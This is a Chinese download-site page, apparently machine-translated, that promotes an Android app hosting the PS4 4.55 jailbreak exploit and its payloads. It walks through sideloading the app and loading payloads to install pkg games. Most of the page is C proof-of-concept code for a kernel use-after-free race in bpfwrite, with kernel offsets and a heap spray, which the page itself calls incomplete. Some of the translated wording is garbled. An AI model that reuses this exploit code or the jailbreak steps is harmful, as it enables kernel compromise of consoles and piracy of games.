ps4 serve2 最新版是一款ps4漏洞服務(wù)器，可以使用此服務(wù)來對ps4 4.55進行定位和破解，避免漏洞的利用和有效載荷的注入等功能，懂破解的朋友歡迎下載嘗試。

功能介紹

繼我之前的發(fā)行版之后，我放置了一個Android應(yīng)用程序來托管4.55漏洞和有效載荷。

您必須使用手機/平板電腦設(shè)置WiFi熱點，并將PS4連接到該熱點，或?qū)⑹謾C/平板電腦連接到PS4所在的同一網(wǎng)絡(luò)。

然后安裝應(yīng)用程序并打開它，在頂部將是您需要連接到PS4的地址。

您的設(shè)備可能會詢問您是否安裝了來自“未知來源”的應(yīng)用程序，這可以允許，但這意味著它不是來自Google Play。

您只需選擇要在應(yīng)用中運行的有效載荷，然后使用PS4轉(zhuǎn)到您在應(yīng)用中看到的地址即可。

要更改有效載荷，只需在應(yīng)用程序中選擇它，然后使用ps4重新訪問/重新刷新地址。

您可以將更多有效負載添加到應(yīng)用程序中，只需將手機插入計算機，然后將您喜歡的任何有效負載BIN文件復制到PS4_455_Payloads目錄中即可。

現(xiàn)在4.55漏洞和母雞負載非常不穩(wěn)定，您將不得不嘗試一次又一次加載它，直到漏洞利用率和有效載荷正確注入。

你會得到很多 “沒有足夠的免費系統(tǒng)內(nèi)存”的錯誤，只需選擇好，并繼續(xù)嘗試

一旦你足夠的戰(zhàn)斗有效載荷將工作，你將能夠安裝和玩pkg游戲。

漏洞代碼分享

/* bpfwrite race condition */

/* discovered by @qwertyoruiopz */

/* some bullshit from golden */

/*

https://gist.github.com/msantos/939154/eaeba01ba40cb137322ba1ea6d49a1b15580fdab

https://github.com/freebsd/freebsd/blob/master/sys/net/bpf.c

https://github.com/freebsd/freebsd/blob/master/sys/net/bpf_filter.c

*/

/*

4.05 offsets

bpf_cdevsw 0x186F640

bpf_drvinit 0x317140

bpfopen 0x3171B0

bpf_dtor 0x318D80

bpfwrite 0x3175D0

bpfread 0x317290

bpf_filter 0x224580

bpf_validate 0x224D60

devfs_set_cdevpriv 0x383F20

devfs_get_cdevpriv 0x383EE0

bpfioctl 0x317A40

- BIOCSETIF 0x8020426C (calls bpf_setif)

- BIOCSETF 0x80104267 (inlined)

- BIOCSETWF 0x8010427B (inlined)

1. call bpfioctl with BIOCSETWF and a valid program

2. write to the bpf device.

3. call bpfioctl with BIOCSETWF and a valid program. This will free the old program while it is executing.

4. allocate heap data with instructions to read/write in stack memory

5. ????

6. profit

once we can manipulate the data in the program, we can write an invalid program that bpf_validate would otherwise throw away.

case BPF_ST:

mem[pc->k] = A;

continue;

case BPF_LD|BPF_MEM:

A = mem[pc-t;k];

continue;

*/

/*

kernbase 0xFFFFFFFF8A63C000

bpf_cdevsw(0xFFFFFFFF8BEAB640):

09 20 12 17 00 00 00 80

50 62 DC 8A FF FF FF FF

B0 31 95 8A FF FF FF FF

00 00 00 00 00 00 00 00

C0 11 83 8A FF FF FF FF

90 32 95 8A FF FF FF FF

D0 35 95 8A FF FF FF FF

40 3A 95 8A FF FF FF FF

30 4B 95 8A FF FF FF FF

50 30 83 8A FF FF FF FF

0x8000000017122009

0xFFFFFFFF8ADC6250 (offset: 0x78A250) "bpf"

0xFFFFFFFF8A9531B0 (offset: 0x3171B0) bpfopen

0x0000000000000000 d_fdopen

0xFFFFFFFF8A8311C0 (offset: 0x1F51C0) d_close

0xFFFFFFFF8A953290 (offset: 0x317290) bpfread

0xFFFFFFFF8A9535D0 (offset: 0x3175D0) bpfwrite

0xFFFFFFFF8A953A40 (offset: 0x317A40) bpfioctl

0xFFFFFFFF8A954B30 (offset: 0x318B30) bpfpoll d_poll

0xFFFFFFFF8A833050 (offset: 0x1F7050) d_mmap

*/

#define BIOCSETWF 0x8010427B

__attribute__((aligned (1))) struct bpf_insn {

uint16_t code;

uint8_t jt;

uint8_t jf;

uint32_t k;

};

// needs to by 8 bytes

struct bpf_program {

int bf_len;

struct bpf_insn *bf_insns; // needs to be at offset 0x8

};

int bpf_device() {

int fd = -1;

char dev[32];

fd = open("/dev/bpf", O_RDWR, 00700);

if (fd > -1) {

return fd;

}

for(int i = 0; i < 255; i++) {

snprintf(dev, sizeof(dev), "/dev/bpf%u", i);

fd = open(dev, O_RDWR, 00700);

if (fd > -1) {

return fd;

}

}

return -1;

}

int bpfgo = 0;

int bpfend = 0;

void *bpfwrite_thread(void *vfd) {

// write and activate bpfwrite -> bpf_filter

int fd =(int)vfd;

while(!bpfend) {

// wait until we should go

while(!bpfgo && !bpfend) ;

char pack[32];

memset(pack, 0x41414141, 32);

write(fd, pack, 32);

bpfgo = 0;

}

return 0;

}

void bpfpoc() {

int fd = bpf_device();

// setup a valid program

// this is unique since it has a specific size that will allocated in a specific zone

// (making it easier to allocate an object overlapping this one, also gives more time for bpf_filter to execute)

// I used bpfc to compile a simple program

struct bpf_program fp;

struct bpf_insn insns[] = {

// there are 31 instructions here (31 * sizeof(struct bpf_insn)) = 248

// size of kernel malloc would be

{ 0x0, 0, 0, 0x00000539 }, // ld #1337

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x0, 0, 0, 0x00000539 },

{ 0x6, 0, 0, 0x00000000 }, // ret #0

};

fp.bf_len = sizeof(insns) / sizeof(struct bpf_insn);

fp.bf_insns = &insns[0];

// set this program

ioctl(fd, BIOCSETWF, &fp);

// create thread that we can command to write to the bpf device

ScePthread thread;

scePthreadCreate(&thread, NULL, bpfwrite_thread, (void *)fd, "bpfpoc");

// this poc gets turned into a much harder one since bpf code always halts in finite time, so we must race the bpf_filter function

// hopefully we can race the bpfwrite function after we free the program, so it will use after free

// we need to allocate a heap object that overlaps the memory that use to be at (struct bpf_insn)

// (allocated by bpfioctl and freed by our second call to bpfioctl, but the pointer is still being used by bpf_filter)

// create a malicious filter program and alter the overlapping heap object with this data

// read/write stack values, and do turing complete programming in kernel mode

// this probably will not work, and will not race correctly, you may need to multi thread

// TODO: timing corrections

while(1) {

bpfgo = 1;

// free the old program

ioctl(fd, BIOCSETWF, &fp);

// spray the heap

// size = ((unsigned int)ioctl_num >> 16) & 0x1FFF;

char object[248];

memset(object, 0x41414141, 248);

for(int i = 0; i < 512; i++) {

ioctl(0xFFFFFFFF, 0x80F80000, object);

}

// now we may or may not have overlapped said bpf_insn allocation that bpf_filter is using

// need a way to check if we are good

break;

}

// end thread and clean up

bpfend = 1;

scePthreadJoin(thread, NULL);

close(fd);

}

只說了下攻擊原理，并未完整實現(xiàn)漏洞

相關(guān)新聞

目前4.05和4.55均可破解

4.05系統(tǒng)被黑客破解之后，讓那些高于4.05系統(tǒng)玩家羨慕不已，隨著玩家的呼聲，黑客在近日又放出4.55系統(tǒng)的破解，讓PS玩家大呼過癮。

28日黑客公布的破解內(nèi)容

通過黑客給出的漏洞，4.55系統(tǒng)版本的玩家們都開始測試破解，安裝pkg游戲文件。